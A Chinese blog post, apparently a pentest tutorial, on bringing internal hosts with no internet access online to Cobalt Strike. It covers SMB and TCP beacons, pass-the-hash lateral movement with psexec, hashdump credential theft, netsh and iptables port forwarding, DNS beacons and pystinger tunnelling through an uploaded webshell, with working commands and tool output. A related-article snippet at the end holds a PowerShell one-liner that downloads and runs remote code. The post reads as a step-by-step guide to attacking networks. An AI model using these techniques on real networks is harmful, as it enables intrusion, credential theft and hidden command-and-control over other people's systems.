不出网上线CS的各种姿势（内网横向）

于 2024-06-21 16:41:46 发布
阅读量1.1k 收藏 24
点赞数 11
文章标签： 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_64395221/article/details/139863733
版权

情况一：存在一台中转机器

存在一台中转机器，这台机器出网，这种是最常见的情况。

经常是拿下一台边缘机器，其有多块网卡，用于连接内外网，内网机器都不出网。这种情况下拿这个边缘机器做中转，就可以上线。因为内网机器不出网，所以就算被种马，也上不了线，应为木马反弹回去的时候出不了网。

拓扑大致如下:

img

上线方法一：SMB Beacon

大致流程：

首先要拿下边缘服务器，然后使用边缘服务器当代理，进入内网服务器，并上传木马。

怎么通过边缘服务器进行代理呢？

通过在边缘服务器和内网服务器之间建立隧道（Beacon SMB/TCP），但是建立隧道要有内网服务器的权限（管理员账号密码），怎么获取呢，有以下两种思路：

1.内网服务器部署了其他服务，通过这些服务来进行入侵，然后提权；

2.内网横向，但是不知道内网服务器管理员的账号密码，所以要对账号密码进行合理的猜测，一般管理员为缓解对账号密码的记录，会将账号和密码设为同一个，我们已经拿下边缘服务器，那么使用边缘服务器的账号密码进行登录入侵。

抓取密码---CS

明文密码抓取：由于微软的补丁已经不允许抓取明文密码了，但是我们可以通过修改注册表来让Wdigest Auth保存明文密码（具体流程参考：cs与msf权限传递，以及mimikatz抓取win2012明文密码_cs与msf权限传递,以及mimikatz抓取win2012明文密码-CSDN博客）

密文密码：可以通过hashdump来抓取，然后通过passhash进行认证

passhash原理：windows存在Winlogon.exe这个进程会将明文的账号密码传递给下一个进程Lsass.exe，该进程会对明文密码进行加密，并存储一份在该进程中，然后加密后的密码存储到SAM文件中，然后下一次登录时会和该存储的密文进行对比。

使用passhash，需要知道内网中有几台机器，可以用namp进行扫描，也可以使用CS提供的port scan（端口扫描）

隧道建立后就可以用copy命令将木马文件传递到内网服务器的共享文件中去，至此，成功横传成功。

介绍

官网介绍：SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons连接后，子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。

使用

这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法：在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线

或在Beacon中使用命令spawn smb（smb为我的smb listener名字）

img

使用插件，或自带端口扫描，扫描内网机器

img

转到视图，选择目标

img

使用psexec

img

选择一个hash，选择smb 监听器和对应会话

img

即可上线

img

img

运行成功后外部可以看到∞∞这个字符，这就是派生的SMB Beacon。

当前是连接状态，你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。

img

img

这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行，但是目标主机并不会直接上线的，需要我们自己用链接命令(link <ip>)去连接它。

上线方法二：中转listener(Reverse TCP Beacon)

其实和方法一是类似的

img

以下内容会自动配置

img

然后和上面方法一一样，发现内网主机且知道账号密码,psexec横向传递，选择中转listener

img

img

img

上线方法三：HTTP 代理

中转机器不需要上线即可

使用goproxy项目做代理，项目地址：

代码语言：javascript

复制

https://github.com/snail007/goproxy

过程：

1.上传proxy.exe到web服务器(边缘主机)，在8080端口开启http代理

代码语言：javascript

复制

C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口，否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口

代码语言：javascript

复制

netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080

img

3.创建listener，配置如下

img

4.生成stageless payload，在业务服务器上执行，成功上线

img

连接过程

代码语言：javascript

复制

192.168.111.236  → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89)
上线方法四、TCP Beacon(正向)

  • 正向连接

  • 和SMB Beacon比较类似。也需要一个父beacon

  • SMB Beacon，TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击（比如：Attacks → Packages 、 Attacks → Web Drive-by ）。

测试：

生成一个tcp beacon

img

使用该beacon生成一个stageless形式的木马：

img

上传到目标机器运行：

img

在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

img

要销毁一个 Beacon 链接，在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后，你可以从同一主机（或其他主机）重新连接到 TCP Beacon。

img

上线方法五、使用pystinger进行代理转发

pystinger的详细使用 见下面章节。这里仅简单演示一下：

一般不会将pystinger用在这种场景下

测试环境：

攻击机kali：192.168.1.35

web服务器：192.168.1.70、192.168.111.129

业务服务器：192.168.111.236

过程：

1.上传proxy.php到WEB服务器网站目录，正常访问返回UTF-8

web服务器外网ip为192.168.1.70

img

上传stinger_server.exe，执行

代码语言：javascript

复制

start stinger_server.exe 0.0.0.0

攻击机(192.168.1.89)上执行

代码语言：javascript

复制

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

此时已经将web服务器的60020端口转发到vps的60020端口上了

CS设置监听,HTTP Hosts为中转机器的内网ip，端口为60020：

img

使用psexec横向移动，选择listener为pystinger，或者直接生成payload在业务主机执行，业务内网主机192.168.111.236即可成功上线：

img

img

补充：中转机器为Linux
HTTP代理(中转机器不需要上线即可)

使用方法与上面方法三一样。只不过要使用iptables转发：

代码语言：javascript

复制

echo 1 >/proc/sys/net/ipv4/ip_forward

代码语言：javascript

复制

iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080
​
iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131:822

测试：

img

生成stageless payload，在目标机器上执行，成功上线

使用pystinger进行代理转发

和上面上线方法五一样，建立pystinger连接之后，直接生成payload在业务主机执行，业务内网主机192.168.111.236即可成功上线。。

CrossC2

通过其他机器的Beacon可以直接上线Linux机器

img

CrossC2使用

用来上线Linux或MacOS机器

项目地址： 【一定要下载对应版本的】

代码语言：javascript

复制

https://github.com/gloxec/CrossC2

配置：

(我这里在Windows上运行的teamserver)

img

创建个https监听：

img

生成个payload

(用其他方式也可以)

img

img

img

如果生成不了，也可以直接命令行生成

img

生成之后，上传到Linux机器，运行，即可上线：

img

img

安装CrossC2Kit插件，丰富beacon的功能

img

img

内网机器上线CS:

中转的Linux机器上线之后，即可用上面的方法来上线内网机器。

TCP Beacon：

img

img

上传到目标机器运行。

然后在Linux beacon下连接：

img

上线之后是个黑框，checkin一下就可以了

情况二：边缘机器只有DNS协议出网

DNS上线CS
一、准备工作

1）域名 ，godaddy ：yokan.xxx2）vps，防火墙开放UDP端口53 : 82.xxx.xxx.19

img

3）cobalt strike 4.1

二、域名设置

1）设置解析

配置A记录设置成vps的ip，cs也配置在vps上

img

配置几个ns记录 指向刚刚A记录对应的域名

img

配置完成之后ping test.yokan.xxx可以ping通

img

vps上查看53端口占用情况，停掉vps的53端口服务

img

systemctl stop systemd-resolved

img

img

2）cs设置监听

img

![image-

都是ns记录的域名，DNS Host(Stager)随便选择其中一个就可以。

img

3）nslookup查看 ，成功解析：

img

注意：响应的地址74.125.196.113，这个是跟profile里设置的

img

三、cs上线

生成cs的stageless上线马，执行上线

stageless 马 dns有x64版本 , stager没有

img

img

上线之后是黑框，需要使用checkin命令让dns beacon强制回连teamserver

img

PS:需要多等一会

img

这样就可以正常交互了：

img

情况三：边缘机器不出网

方法一、TCP Beacon 正向连接

应用场景：边缘机器各种协议均不出网，但是可以正向访问到。

使用：

先让自己的攻击机上线

img

然后，如"上线方法四"一样，使用TCP Beacon生成一个stageless形式的木马，上传到目标机器，并运行。

img

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

img

方法二、使用pystinger(毒刺)工具

应用场景：边缘机器各种协议均不出网，但是存在web服务，已经拿到webshell。

项目地址:

代码语言：javascript

复制

https://github.com/FunnyWolf/pystinger

简单原理：

Pystinger来实现内网反向代理，利用http协议将目标机器端口映射至cs服务端监听端口，能在只能访问web服务且不出网的情况下可以使其上线cs

img

（图源网络）

使用

地址:

代码语言：javascript

复制

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了：

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言：javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理

  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言：javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1

  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行 start D:/XXX/stinger_server.exe 192.168.3.11 启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言：javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)

  • 生成payload,上传到主机运行后即可上线

  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

代码语言：javascript

复制

--header "Authorization: XXXXXX,Cookie: XXXXX"

  • 如果webshell需要通过代理访问,可通过--proxy设置代理

代码语言：javascript

复制

--proxy "socks5:127.0.0.1:1081"
测试

攻击机：192.168.1.89

假设我们在拿下一台目标主机，但是无法连接外网。

img

使用 pystinger 工具进行 CS 上线，下载地址，通过 webshell 实现内网 SOCK4 代理，端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

img

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

img

img

把 stinger_client 上传到 teamserver 服务器，-w 指定 proxy 的 url 地址运行。

代码语言：javascript

复制

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

img

CS 新建监听器，设置为目标机器的内网 IP，端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

img

生成木马，上传目标服务器并执行。可看到 CS 有新上线主机。

拾荒的狸猫
关注
  • 11
    点赞
  • 踩
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
内网隧道代理技术（十八）之 上线不出网机器
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
09-01 338
上线不出网机器是我们常见的问题，如何在内网中实现不出网机器的上线呢，我们分为了如下的形式，根据之前所学的内容我们开始进行实验，常见的网络拓扑如下：一般渗透的场景是这样的，黑客拥有一台黑客机器，还有一台位于公网的VPS机器，这两台机器均可以访问互联网，而目标公司分为两个区域，A区域和B区域，A区域的电脑无论是访问互联网，还是互联网访问他，都是可以访问的，但是B区域的电脑由于在内网环境，被做了限制，不能直接访问互联网环境，只能访问公司内部的机器，比如A区域的Web服务器或者同样存在于B区域内的其他主机。
Webshell不出网方案之正向socks代理reGeorg+Proxifier使用
Websec
09-14 8427
1、首先你已经拥有了一个webshell，如下我拥有一个天蝎shell： 2、机器不出网(无法ping百度)。 2、这个时候需要使用reGeorg将我们的流量正向代理出来。 reGeorg地址如下: https://github.com/sensepost/reGeorg 下载到本地。 具体详细操作使用为: 第一步:上传tunnel.(aspx/php/jsp/ashx)到你控制的服务器上(如何拥有一台已控取决于自己)。 第二步:上传成功后核对你的tunnel脚本成功使用,一般正
内网安全——域横向内网漫游Socks代理隧道技术
世间繁华梦一出
08-06 551
内网漫游——内网穿透Socks代理技术内网穿透Ngrok测试演示——两个内网通讯上线内网穿透Frp自建跳板测试——两个内网通讯上线CFS三层内网漫游安全测试演练——某CTF线下2019 内网穿透Ngrok测试演示——两个内网通讯上线 Ngrok代理工具的作用就是（如下图）在两个不同内网的主机之间的外网提供一台服务器， 内网穿透Frp自建跳板测试——两个内网通讯上线 CFS三层内网漫游安全测试演练——某CTF线下2019 ...
内网渗透-不出网cs的各种姿势（内网穿透）
最新发布
m0_68976043的博客
05-20 1084
官网介绍：SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons连接后，子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。
70内网安全-域横向内网漫游Socks代理隧道技术(下)
san3144393495的博客
12-31 1327
这节课解决代理的问题，他是内网里面的穿透技术，隧道主要安全设备和流量监控的拦截问题，我们在做渗透的时候需要回显数据或者一些重要的信息，走的协议不一样，tcp/ip有七层，在不同层里面有不同的协议，有一些协议会受到防火墙，过滤设备和流量检测工具的干扰，在内网回显数据和拖数据的会出现一些拦截和告警，隧道技术主要就是解决这个事情；两个肉鸡都在内网，就必须借助代理才能实现，代理利用工具比较知名的比如，frp，ngrok，ew，不过ew已经停止更新了，以后就用不到了，
（毒刺）利用Pystinger Socks4上线不出网主机
mingyqf的博客
07-01 1065
原文链接：https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw我们接着前两篇文章继续分享一篇利用Pystinger Socks4代理方式上线不出网主机的姿势，包括单主机和内网多台主机的两种常见场景！！！项目地址：https://github.com/FunnyWolf/pystinger**相关阅读：**1、利用MSF上线断网主机的思路分享2、利用goproxy http上线不出网主机0x01 测试环境 0x02 Pystinger简单介绍Pystinger由服
CS-Algorithm.rar_CS_CS算法各种_压缩感知_感知压缩
07-15
压缩感知各种算法，matlab仿真实现，供大家学习参考。
DreamweaverCS5各种代码大全
06-11
DreamweaverCS5各种代码大全
cs-script 版本为V2.1及各种实例
04-14
文件包含源码及简单实例，有点借鉴作用，对初学者比较好
aspnet公共类cs文件.rar
07-16
Excel操作辅助类（无需VBA引用）(ExcelHelper.cs)利用VBA对象，导出DataView到一个Excel文档中的Excel辅助类（Export2Excel.cs）关联文件(ExtensionAttachUtil.cs)注册文件关联的辅助类（FileAssociationsHelper.cs...
桥梁荷载横向分布系数的各种计算方法综述.pdf
06-15
荷载横向分布系数 moq 和 mor 分别对应汽车和人群荷载，可通过荷载横向分布影响线坐标η q 和η r 计算得出。 【偏心压力法】(修正偏心压力法)考虑了中间横隔梁的刚性，忽略了主梁的抗扭刚度。通过将荷载平移到扭转...
记一次Shiro实战（目标不出网）
一直在水些技术小文
04-29 1400
1. 在一次渗透测试项目中，检测出了目标系统存在shiro漏洞也可以进行远程命令执行，但是反弹不了shell，原因可能是目标服务器不出网。所以我们得通过shiro漏洞进行写webshell。漏洞所在位置如下。工具还是使用Shiro550/721漏洞检测工具进行写入webshell，那有几个问题 工具下载地址：https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51 1.在工具的哪个地方上传木马 2.如何找上传的路径 3
去面HVV蓝队面试了
分享Python知识
07-14 386
去面HVV蓝队面试了
【渗透测试】CS DNS上线（DoH隧道技术实践浅析）
SunnyCat
02-11 5413
Doh隧道技术实践和浅析
Cobalt Strike上线不出网的Linux与Windows主机
weixin_44480014的博客
06-09 2003
在真实的内网中，很容易遇到内网主机不出网的情况。这种情况又可以分为边缘主机为Linux和为Windows两类。windows上线windows很容易，linux上线linux或者windows上线linux可以用CrossC2插件来解决。比较麻烦的就是边缘主机为Linux的情况上线内网Windows主机。CrossC2暂时不支持Linux上线Windows，不过作者已经把该需求设置为了New，期待接下来的版本可以支持该功能。网上普遍的思路是利用Pystinger的socks4（为什么不用socks5应该是C
拿到webshell后虚拟终端拒绝访问
sudo0m的博客
08-20 2132
＃0x00 拿到Webshell后输入命令都是拒绝访问，不管你输了什么都是拒绝访问就像这样： 这是因为没有设置终端，现在设置一下终端 cmd下载地址: https://sudo0m.coding.me/update/webshell/cmd.exe #0x01 可以输命令，但是还是拒绝访问，权限不够iis6.0可以进行溢出，（我是个小白所以，，） iis6.0才可进行以下操作,...
[投稿]Webshell下命令执行限制及绕过方法
Coisini的博客
06-23 4070
0x00 前言 上传webshell后，执行命令时或许没法执行了，这时我们该分析下原理并想出绕过方式，防守方也必须根据绕过方式想想更强的防御. 0x01 php webshell执行命令原理 php webshell（以下简称webshell)下是怎么执行系统命令的？我们找一个webshell分析下 搜索关键字定位到以下代码 function execute($cfe) { $re...
cs在内网横向的使用（靶机）
sweetie 的博客
11-02 1562
1.cs上线目标 （1）设置监听器 添加监听 (2) 上线目标 如果目标可以出外网，我们可以使用让目标访问我们的cs服务器上的恶意代码，并下载执行，比较常见的就是使用如下图所使用的模块 根据目标的版本位数，选择是否要用 x64，点击执行后会出现如图所示窗口 复制代码（这里要选择x64的payload） powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http:///b'))"
3线spi cs,scl,sda初始化
06-28
### 回答1： 3线SPI通信协议是一种高速串行通信协议，它只需要三条信号线，分别是片选信号线（CS）、时钟信号线（SCL）和数据信号线（SDA）。为了让MCU能够正常使用3线SPI通信协议，我们需要对CS、SCL和SDA进行初始化。 1.片选信号线（CS）初始化： CS是3线SPI通信协议中的片选信号线，用于选择要进行通信的设备。在初始化时需要设置片选信号线（GPIO）为输出模式，并将其输出高电平，使设备处于未选中状态。 2.时钟信号线（SCL）初始化： 时钟信号线（SCL）是3线SPI通信协议的时基信号，用于控制数据的传输速度。在初始化时需要设置时钟信号线（GPIO）为输出模式，并将其输出低电平，以便在传输数据时方便地控制时序。 3.数据信号线（SDA）初始化： 数据信号线（SDA）是3线SPI通信协议的数据传输信号线，用于传输数据。在初始化时需要设置数据信号线（GPIO）为输出模式，并将其输出低电平，以便在传输数据时能够控制数据的传输方向和时序。 综上所述，3线SPI通信协议的CS、SCL和SDA的初始化需要按照上述步骤进行操作，以便在实际应用场景中顺利完成通信。 ### 回答2： 3线SPI是一种简单的串行通信协议，用于连接外设和控制器。该协议使用三个信号线，分别用于片选（CS）、时钟（SCL）和数据（SDA）。 初始化方法如下： 1. 确定SPI总线的模式（主机模式或从机模式）和时钟频率，以及要使用的数据位、极性和相位等参数。 2. 配置相关的GPIO引脚，将它们分别作为CS、SCL和SDA信号线。 3. 配置SPI控制器的寄存器，包括控制寄存器、命令寄存器和状态寄存器等。其中，控制寄存器用于控制SPI传输的参数和模式，命令寄存器用于发送和接收数据，状态寄存器用于监视和处理传输过程中的错误和异常情况，例如数据溢出、超时等。 4. 初始化CS、SCL和SDA信号线的状态。如果是主机模式，则默认为CS高电平（片选不选中）、SCL高电平（时钟空闲）、SDA高电平（数据线空闲）。如果是从机模式，则要等待主机发送片选信号和时钟信号，然后再响应数据传输。 5. 进行SPI传输。根据应用需求发送合适的命令和数据，用于控制外设或获得外设的数据。在传输过程中，需要根据状态寄存器中的错误和异常情况进行处理和调整，确保传输的准确性、稳定性和实时性。 3线SPI的CS、SCL和SDA初始化，需要综合考虑硬件和软件的因素，确保信号线的电气特性、稳定性和正确性，以及SPI控制器的功能和性能要求。同时，也要注意对于不同的外设和传输协议，可能需要进行复杂的时序控制和数据处理。因此，合理的设计和调试方法，可以提高3线SPI传输的可靠性、灵活性和效率。 ### 回答3： SPI是串行外设接口的缩写，是一种用于通讯的串行数据总线。在进行SPI通讯时，需要连接至少三根信号线，分别是CS（片选信号线）、SCL（时钟信号线）和SDA（数据信号线）。以下是关于3线SPI CS、SCL、SDA初始化的介绍： 1. CS信号线 CS信号线用于选择需要进行通讯的从机设备，它在SPI通讯中是必不可少的。当需要与某一从机进行通讯时，先将其对应的CS信号线拉低（通常为0），然后进行数据传输。传输完毕后，再将CS信号线拉高（通常为1），以释放从机设备。 2. SCL信号线 SCL信号线是SPI通讯的时钟信号线，用于同步发送和接收数据。在SPI通讯中，主机控制SCL信号线产生指定频率的脉冲，作为数据传输和接收的时钟信号。在进行SPI通讯时，需要根据所需的数据传输速度来设置SCL信号线的周期。 3. SDA信号线 SDA信号线是SPI通讯的数据信号线，用于发送和接收数据。在进行SPI通讯时，主机通过SCL信号线产生的时钟信号控制SDA信号线的状态来进行数据传输。在发送数据时，主机将要发送的数据写入SDA信号线，然后在每个SCL脉冲时将其推向从机设备；在接收数据时，主机则在每个SCL脉冲时从SDA信号线上读取一位数据。 在实际中进行3线SPI CS、SCL、SDA初始化时，可以使用软件或硬件实现。通常情况下，可以通过GPIO方式控制这三根信号线。 总之，在进行SPI通讯时，需要初始化这三根信号线，使它们能够完成相应的通讯功能。正确的SPI初始化可以确保数据的稳定传输，从而实现各种控制应用。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值